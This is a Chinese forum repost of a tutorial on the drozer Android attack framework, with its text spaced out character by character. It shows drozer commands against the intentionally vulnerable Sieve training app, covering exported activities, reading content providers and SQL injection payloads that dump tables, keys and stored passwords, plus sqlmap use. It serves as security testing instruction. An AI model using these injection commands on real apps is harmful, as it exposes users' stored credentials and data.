搜索

[20685] 2017-04-03_Android安全（二）—-攻击框架drozer全功能介绍

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2017-04-03_Android安全（二）—-攻击框架drozer全功能介绍 A n d r o i d 安 全 （ 二 ） — - 攻 击 框 架 d r o z e r 全 功 能 介 绍 b y   L e m o n   L e m o n S e c   2 0 1 7 - 0 4 - 0 3 d r o z e r 是 个 好 东 西 ， 虽 然 现 在 分 为 免 费 和 专 业 版 ， 但 专 业 版 也 就 增 加 了 G U I 界 面 之 类 的 无 关 痛 痒 的 东 西 ， 下 面 逐 一 介 绍 一 下 d r o z e r 的 各 种 姿 势 。 使 用 前 应 保 证 下 面 的 东 西 都 安 装 完 毕 ： J a v a   R u n t i m e   E n v i r o n m e n t   ( J R E )   o r   J a v a   D e v e l o p m e n t   K i t   ( J D K ) （ j d k 中 自 带 许 多 小 工 具 ， 之 后 文 章 会 有 简 绍 ） A n d r o i d   S D K （ S D K 中 同 样 自 带 许 多 小 工 具 ， 之 后 文 章 会 有 简 绍 ） a d b 路 径 正 确 （ a d b 运 行 需 配 置 s d k 环 境 变 量 ） j a v a 路 径 正 确 1 . 以 w i n 平 台 为 例 ， 下 载 安 装 包 ， 下 载 好 后 压 缩 包 内 如 图 ； s e t u p 是 装 w i n 上 的 ， a g e n t 是 装 手 机 上 的 , 装 上 后 如 图 ， 打 开 屏 幕 下 方 的 开 关 。
  a d b   f o r w a r d     t c p : 3 1 4 1 5     t c p : 3 1 4 1 5       / / 将 p c 端 3 1 4 1 5 的 所 有 数 据 转 发 到 手 机 上 的 3 1 4 1 5 端 口   d r o z e r . b a t   c o n s o l e   c o n n e c t       / / 使 用 d r o z e r   c o n s o l e   连 接 a g e n t   获 取 手 机 上 所 有 安 装 的 a p p 包 名 ： r u n   a p p . p a c k a g e . l i s t     加 上 ” - f   [ a p p 关 键 字 ] ” 查 找 某 个 a p p ， 如   r u n   a p p . p a c k a g e . l i s t   - f   s i e v e 得 到 s i e v e 的 包 名 为 c o m . m w r . e x a m p l e . s i e v e   获 取 s i e v e 的 基 本 信 息   r u n   a p p . p a c k a g e . i n f o   - a   c o m . m w r . e x a m p l e . s i e v e
  可 以 看 到 s i e v e 的 版 本 信 息 ， 数 据 存 储 目 录 ， 用 户 I D ， 组 I D ， 共 享 库 ， 权 限 等 信 息   查 找 攻 击 面 ， 主 要 关 注 A n d r o i d   固 有 的 I P C 通 信 机 制 的 脆 弱 性 ， 这 些 特 点 导 致 了 这 个 A p p 泄 漏 敏 感 信 息 给 同 一 台 设 备 上 的 其 它 A p p r u n   a p p . p a c k a g e . a t t a c k s u r f a c e     c o m . m w r . e x a m p l e . s i e v e     进 一 步 获 取 每 个 组 件 的 攻 击 面 信 息 ， 如 a c t i v i t y r u n   a p p . a c t i v i t y . i n f o   - a   c o m . m w r . e x a m p l e . s i e v e     其 中 .   M a i n L o g i n A c t i v i t y 是 a p p 启 动 时 的 主 界 面 ， 必 须 可 以 导 出 ， 但 其 他 两 个 a c t i v i t y 正 常 情 况 下 是 不 能 导 出 的   用 d r o z e r 来 启 动 可 导 出 且 不 需 要 权 限 的 a c t i v i t y r u n     a p p . a c t i v i t y . s t a r t     - - c o m p o n e n t     c o m . m w r . e x a m p l e . s i e v e     c o m . m w r . e x a m p l e . s i e v e . P W L i s t
  获 取 c o n t e n t   p r o v i d e r 的 信 息 r u n   a p p . p r o v i d e r . i n f o   - a   c o m . m w r . e x a m p l e . s i e v e 结 合 第 7 步 收 集 的 信 息 ， 这 2 个 c o n t e n t   p r o v i d e r 都 可 导 出 ， c o m . m w r . e x a m p l e . s i e v e . D B C o n t e n t P r o v i d e r / K e y s   是 需 要 读 写 权 限 的 。 1 1 、 使 用 d r o z e r 的 s c a n n e r 模 块 去 猜 测 可 能 存 在 的 U R I s r u n   s c a n n e r . p r o v i d e r . f i n d u r i s   - a   c o m . m w r . e x a m p l e . s i e v e 1 2 、 通 过 U R I 从 c o n t e n t 中 获 取 信 息 r u n   a p p . p r o v i d e r . q u e r y   - - v e r t i c a l   c o n t e n t : / / c o m . m w r . e x a m p l e . s i e v e . D B C o n t e n t P r o v i d e r / P a s s w o r d s /    
  1 3 、 查 找 可 进 行 s q l 注 入 的 U R I s （ c l i e n t - s i d e - S Q L i ）   ① 、 使 用 如 下 命 令 检 测 可 注 入 的 U R I 的 注 入 点 r u n   s c a n n e r . p r o v i d e r . i n j e c t i o n     - a     c o m . m w r . e x a m p l e . s i e v e 可 以 看 出 P r o j e c t i o n 参 数 和 S e l e c t i o n 参 数 均 存 在 注 入 ② 、 使 用 p r o j e c t i o n 参 数 传 递 s q l 注 入 语 句 到 c o n t e n t   p r o v i d e r 中 r u n   a p p . p r o v i d e r . q u e r y     c o n t e n t : / / c o m . m w r . e x a m p l e . s i e v e . D B C o n t e n t P r o v i d e r / P a s s w o r d s /   - - p r o j e c t i o n   " ' "
通 过 s q l 注 入 列 出 当 前 数 据 库 D B C o n t e n t P r o v i d e r 中 的 所 有 表 名 和 字 段 名 r u n   a p p . p r o v i d e r . q u e r y   c o n t e n t : / / c o m . m w r . e x a m p l e . s i e v e . D B C o n t e n t P r o v i d e r / P a s s w o r d s /   - - p r o j e c t i o n   " *   f r o m   s q l i t e _ m a s t e r   w h e r e t y p e = ' t a b l e ' ; - - "   - - v e r t i c a l 虽 然 访 问 K e y s 这 个 U R I 需 要 R E A D _ K E Y S 和 W R I T E _ K E Y S 权 限 ， 但 我 们 可 以 绕 过 权 限 来 读 取 K e y 表 的 内 容 （ 不 算 真 正 的 s q l 注 入 ， D B c o n t e n t P r o v e v i d e r 这 个 数 据 库 本 来 就 导 出 ） r u n   a p p . p r o v i d e r . q u e r y   c o n t e n t : / / c o m . m w r . e x a m p l e . s i e v e . D B C o n t e n t P r o v i d e r / P a s s w o r d s /   - - p r o j e c t i o n   " *   f r o m   K e y ; - - " ③ 、 使 用 s e l e c t i o n   参 数 传 递 s q l 注 入 语 句 到 c o n t e n t   p r o v i d e r 中 r u n   a p p . p r o v i d e r . q u e r y   c o n t e n t : / / c o m . m w r . e x a m p l e . s i e v e . D B C o n t e n t P r o v i d e r / P a s s w o r d s /   - - s e l e c t i o n   " ' " 通 过 s q l 注 入 u p d a t e 数 据 库 的 内 容 ， 原 来 s e r v i c e 的 值 为 q w e r t r u n   a p p . p r o v i d e r . u p d a t e   c o n t e n t : / / c o m . m w r . e x a m p l e . s i e v e . D B C o n t e n t P r o v i d e r / P a s s w o r d s /   - - s e l e c t i o n   " _ i d = 1 "   - - s t r i n g   s e r v i c e   q a z w s x
② 、 使 用 W e b C o n t e n t R e s o l v e r 和 s q l m a p 进 行 跨 库 注 入 安 装 W e b C o n t e n t R e s o l v e r 用 于 将 c o n t e n t   p r o v i d e r 映 射 到 w e b ， 首 先 建 立 转 发 a d b   f o r w a r d   t c p : 8 0 8 0   t c p : 8 0 8 0 ， 在 浏 览 器 里 打 开 h t t p : / / l o c a l h o s t : 8 0 8 0 ， 构 造 U R L 对 于 c o n t e n t : / / p r o v i d e r s / P a r a m e t e r 1 / P a r a m e t e r 2 / . . /   P a r a m e t e r N       C o l u m n ： 字 段 ， 如 _ i d   ， d a t a ： 为 字 段 数 据       对 应 h t t p : / / l o c a l h o s t : 8 0 8 0 / q u e r y ? a = p r o v i d e r s & p a t h 0 = P a r a m e t e r 1 & p a t h 1 = P a r a m e t e r 2 & p a t h n = p a r a m e t e r N & s e l N a m e = c o l u m n & s e l I d = d a t a 然 后 将 此 u r l 用 s q l m a p 进 行 注 入 。   参 考 A n d r o i d   a p p 端 的 s q l 注 入 ， 安 卓 a p p 的 s q l 注 入 跨 库 查 询 问 题 ， A n d r o i d   A p p   I n j e c t i o n & & D r o z e r   U s e   查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理